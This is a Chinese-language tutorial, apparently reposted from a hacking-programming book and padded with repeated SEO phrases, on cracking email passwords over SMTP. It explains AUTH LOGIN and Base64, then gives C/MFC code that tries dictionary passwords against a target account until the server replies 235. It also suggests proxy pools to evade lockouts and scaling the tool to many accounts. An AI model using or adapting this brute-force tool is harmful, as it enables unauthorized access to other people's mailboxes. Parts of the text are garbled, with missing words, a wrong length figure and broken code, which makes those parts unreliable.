郵箱賬號格式怎么寫 網絡安全編程:郵箱破解
收發電子郵件經常使用的協議有SMTP協議和POP3協議,SMTP協議主要用于郵件的發送,而POP3協議主要用于郵件的接收。本文介紹通過SMTP協議來完成對電子郵箱的破解。
1.SMTP的手工模擬
SMTP( Mail )即簡單郵件傳輸協議,它是基于TCP協議郵件傳輸協議,它主要用于郵件的發送,它的TCP端口號是25。這里通過一次簡單的手工模擬來簡單地介紹STMP的登錄過程。
在進行模擬之前,需要準備一臺已經注冊過賬號的SMTP服務器郵箱賬號格式怎么寫,網易、騰訊的郵箱都支持SMTP服務。這里,隨便使用了一臺SMTP服務器,模擬過程如圖1所示。
圖1 SMTP登錄過程
在登錄的過程中如果看到235,那么說明登錄成功了。那么,我們來分析一下上面的步驟。
首先,需要使用來登錄smtp服務器郵箱賬號格式怎么寫,比如 25,也就是連接×××的smtp服務器地址,指定端口號為25號端口。
接著,輸入HELO smtp.×××.com,該命令標識發件人的身份。
再下來輸入auth 用來告訴服務器要進行身份的驗證了,當輸入auth 后,服務器會返回334,334后面的一串字符是經過編碼的字符串,將其解密后的內容是“:”。
在此處輸入經過編碼的“用戶名”即可。當輸入用戶名回車后,會接著返回一個334,334后面的仍然是一串經過編碼的字符串,將其解密后的內容是“:”。
在后面輸入經過編碼的“密碼”即可。此時,如果用戶名和密碼正確的話,那么就會返回235,表示登錄成功。
對于模擬登錄而言,掌握到這一步就已經足夠了。
在進行測試時,如果手頭沒有進行字符串轉換的編碼工具的話,可以在搜索引擎中搜索“編碼”,就會有許多的在線編碼工具的。
2.郵箱的破解
有了上面的關于SMTP協議登錄的步驟以后,完全可以使用來實現郵箱密碼的破解。要破解郵箱密碼需要準備四個部分,首先是破解程序,然后是字典,還有一個就是代理IP地址池。破解程序是由我們自己完成的程序,字典是用來測試的各種密碼,代理IP地址池主要是為了避免郵箱地址的服務器設置了登錄失敗的次數郵箱賬號格式怎么寫,在嘗試登錄失敗N次以后可能會鎖定IP地址,有的甚至會鎖定賬戶,這些屬于服務器配置上的安全策略。我們的主要任務是完成破解程序的編寫,至于其他的就不多考慮了。
對于自己寫程序,也需要考慮兩方面,一方面就是用來進行與SMTP服務器的通信,另一方面是如何將用戶名或密碼轉換為編碼。
(1)編碼相關代碼
在郵件的傳輸過程中,為了提高傳輸抗干擾性或出于安全性的考慮,會對郵件進行一定的編碼。最常見的編碼方式即為編碼。它的編碼和解碼算法都是很容易的,編碼后的長度是編碼前長度的34%。
它是一種編碼算法,也有人稱為加密,其實它并不是加密算法,畢竟沒有密鑰,只是把字符的編碼格式進行了重新編排。
的編碼規則是,在編碼時,采用特定的65個字符,可以用6比特組成用來表示64個字符,第65個字符是“=”,它被用來標出一個特別的處理過程。該編碼采用24比特作為一個輸入組,輸出為4個編碼字符,這個24比特是由3個8比特按從左往右組成的,被分為4組,每組就是6比特,在其中每組均添加2個0比特,這樣就組成了一個數字,這個數字處于0到63之間。在字符表中,可以根據該數字查到其對應的字符。字符表如表1所示。按這種編碼組成的編碼流必須嚴格按照一定的順序(從左往右的順序),否則就沒有任何意義了(編碼不符合規范當然沒有意義了)。
表1 編碼表
由原字符組合成的總比特數目不一定能被正好分組,在最后用“=”標注。舉例說明吧。
把“UPX”三個字符轉換成編碼,編碼過程如下。
把UPX三個字符轉換成二進制為“0:///”,將3個8位的二進制重新組合成4個6位的二進制為“ ”,將4個6位的二進制數轉換成4個十進制數為“21 21 1 24”,查表值對應的字符是“VVBY”。則說明“UPX”進行編碼后為“VVBY”。
把“MSVC”四個字符轉換成二進制為“0:/// ”,將4個8位的二進制重新組合成6個6位的二進制為“ 11”,將6個6位的二進制按照4個一組可以分為兩組,分別是“ ”和“ 11”,第一組轉換為十進制后為“19 21 13 22”,按照編碼表查表為“TVNW”,第二組轉換為十進制后為“16 3”,按照編碼表查表為“QD”,但是要求4個一組,這里不足4個,則用“=”補足,那么第二組用編碼后為“QD==”。因此“MSVC”用編碼后為“==”。
編碼和解碼的代碼如下:
static const char *codes =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static const unsigned char map[256] = {
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,
255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255,
255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,
37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,
49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255 };
int?base64_encode(const?unsigned?char?*in,?unsigned?long?len,unsigned?char?*out)
{
unsigned?long?i,?len2,?leven;
unsigned?char?*p;
/*?valid?output?size???*/
len2?=?4?*?((len?+?2)?/?3);
p?=?out;
leven?=?3*(len?/?3);
for?(i?=?0;?i?3)?{
*p++?=?codes[in[0]?>>?2];
*p++?=?codes[((in[0]?&?3)?<4)?+?(in[1]?>>?4)];
*p++?=?codes[((in[1]?&?0xf)?<2)?+?(in[2]?>>?6)];
*p++?=?codes[in[2]?&?0x3f];
in?+=?3;
}
/*?Pad?it?if?necessary...?*/
if (i < len) {
unsigned?a?=?in[0];
unsigned?b?=?(i+1?in[1]?:?0;
unsigned?c?=?0;
*p++?=?codes[a?>>?2];
*p++?=?codes[((a?&?3)?<4)?+?(b?>>?4)];
*p++?=?(i+1?0xf)?<2)?+?(c?>>?6)]?:?'=';
*p++?=?'=';
}
/*?append?a?NULL?byte?*/
*p?=?'\0';
return?p?-?out;
}
int base64_decode(const unsigned char *in, unsigned char *out)
{
unsigned?long?t,?x,?y,?z;
unsigned?char?c;
int?g?=?3;
for?(x?=?y?=?z?=?t?=?0;?in[x]!=0;)?{
c?=?map[in[x++]];
if?(c?==?255)?return?-1;
if?(c?==?253)?continue;
if?(c?==?254)?{?c?=?0;?g--;?}
t = (t<<6)|c;
if (++y == 4) {
// if (z + g > *outlen) { return CRYPT_BUFFER_OVERFLOW; }
out[z++]?=?(unsigned?char)((t>>16)&255);
if?(g?>?1)?out[z++]?=?(unsigned?char)((t>>8)&255);
if?(g?>?2)?out[z++]?=?(unsigned?char)(t&255);
y?=?t?=?0;
}
}
return?z;
}
上面給出了關于算法編碼與解碼的代碼,在使用時直接進行調用即可。
(2)破解程序相關代碼
破解簡單的流程就是讀字典中的密碼、創建、與SMTP服務器進行通信,對返回的結果進行判斷,當判斷找到“235”時則認為成功,輸出嘗試的密碼;如果沒有找到“235”則繼續讀取字典中的密碼重復前面的步驟。這就是一個破解某個指定郵箱賬號的簡單思路。具體代碼如下:
// 模擬一串字典
char *dict[5] = {"12345", "123456", "12345678", "111", "22222"};
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int?nRetCode?=?0;
HMODULE?hModule?=?::GetModuleHandle(NULL);
if?(hModule?!=?NULL)
{
//?初始化?MFC?并在失敗時顯示錯誤
if?(!AfxWinInit(hModule,?NULL,?::GetCommandLine(),?0))
{
//?TODO:?更改錯誤代碼以符合您的需要
_tprintf(_T("錯誤:?MFC?初始化失敗\n"));
nRetCode?=?1;
}
else
{
//?TODO:?在此處為應用程序的行為編寫代碼。
}
}
else
{
//?TODO:?更改錯誤代碼以符合您的需要
_tprintf(_T("錯誤:?GetModuleHandle?失敗\n"));
nRetCode?=?1;
}
//?初始化?WinSock
WSADATA?wsaData?=?{?0?};
WSAStartup(MAKEWORD(2,?2),?&wsaData);
//?循環讀取字典
for?(?int?i?=?0;?i?<=?4;?i?++?)
{
char in[30] = { 0 };
char?out[MAXBYTE]?=?{?0?};
SOCKET?s?=?socket(PF_INET,?SOCK_STREAM,?0);
sockaddr_in?saddr?=?{?0?};
saddr.sin_family?=?AF_INET;
//?連接?SMTP?服務器
saddr.sin_addr.S_un.S_addr?=?inet_addr("xxx.xxx.xxx.xxx");
//?連接?SMTP?服務的端口號
saddr.sin_port?=?htons(25);
//?發送/接收通信數據的緩沖區
char?szBuff[MAX_PATH]?=?{?0?};
int?nRet?=?connect(s,?(SOCKADDR*)&saddr,?sizeof(saddr));
recv(s,?szBuff,?MAXBYTE,?0);
printf("%s?\r\n",?szBuff);
lstrcpy(szBuff,?"auth?login\r\n");
send(s,?szBuff,?strlen(szBuff),?0);
printf("%s?\r\n",?szBuff);
recv(s,?szBuff,?MAXBYTE,?0);
printf("%s?\r\n",?szBuff);
//?這里的?xxx?替換為要破解的?SMTP?用戶名
lstrcpy(in,?"xxx");
base64_encode((const?unsigned?char?*)in,?lstrlen(in),?(unsigned?char?*)out);
lstrcpy(szBuff, out);
lstrcat(szBuff,?"\r\n");
send(s,?szBuff,?strlen(szBuff),?0);
printf("%s?\r\n",?szBuff);
recv(s,?szBuff,?MAXBYTE,?0);
printf("%s?\r\n",?szBuff);
lstrcpy(in,?(LPCSTR)(*(dict?+?i)));
base64_encode((const?unsigned?char?*)in,?lstrlen(in),?(unsigned?char?*)out);
lstrcpy(szBuff,?out);
lstrcat(szBuff,?"\r\n");
send(s,?szBuff,?strlen(szBuff),?0);
printf("%s?\r\n",?szBuff);
recv(s,?szBuff,?MAXBYTE,?0);
printf("%s?\r\n",?szBuff);
if?(?strstr(szBuff,?"235")?)
{
printf("Success?\r\n");
printf("%s\r\n",?(char?*)(*(dict?+?i)));
closesocket(s);
break;
}
else
{
printf("Faild?\r\n");
}
closesocket(s);
}
WSACleanup();
return?nRetCode;
}
該代碼是控制臺下的MFC工程,請大家建立相關工程然后編譯連接源碼后測試效果。該程序是對單一SMTP賬號的破解,運行結果如圖2所示。
圖2 SMTP破解程序運行結果
圖2就是程序運行后的結果,本程序只針對一個特定的SMTP賬號進行破解,大家可以自行修改為能夠破解多個賬號的程序。
參考文獻:C++ 黑客編程揭秘與防范(第3版)
免責聲明:本文系轉載,版權歸原作者所有;旨在傳遞信息,不代表本站的觀點和立場和對其真實性負責。如需轉載,請聯系原作者。如果來源標注有誤或侵犯了您的合法權益或者其他問題不想在本站發布,來信即刪。
聲明:本站所有文章資源內容,如無特殊說明或標注,均為采集網絡資源。如若本站內容侵犯了原著者的合法權益,可聯系本站刪除。